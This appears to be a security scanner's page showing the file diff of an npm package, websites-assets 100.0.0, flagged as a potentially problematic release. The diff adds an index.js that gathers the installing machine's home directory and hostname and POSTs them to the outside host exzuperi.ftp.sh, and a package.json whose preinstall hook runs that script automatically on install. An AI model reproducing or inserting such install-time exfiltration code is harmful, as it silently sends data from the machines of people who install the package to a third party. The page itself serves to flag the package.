websites-assets 100.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of websites-assets might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ hd: os.homedir(),
10
+ hn: os.hostname(),
11
+ });
12
+
13
+ var postData = querystring.stringify({
14
+ msg: trackingData,
15
+ });
16
+
17
+ var options = {
18
+ hostname: "exzuperi.ftp.sh",
19
+ port: 449
20
+ path: "/PoC",
21
+ method: "POST",
22
+ headers: {
23
+ "Content-Type": "application/x-www-form-urlencoded",
24
+ "Content-Length": postData.length,
25
+ },
26
+ };
27
+
28
+ var req = https.request(options, (res) => {
29
+ res.on("data", (d) => {
30
+ process.stdout.write(d);
31
+ });
32
+ });
33
+
34
+ req.write(postData);
35
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "websites-assets",
3
+ "version": "100.0.0",
4
+ "description": "PoC for pottential RCE",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: exzuperi made me\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }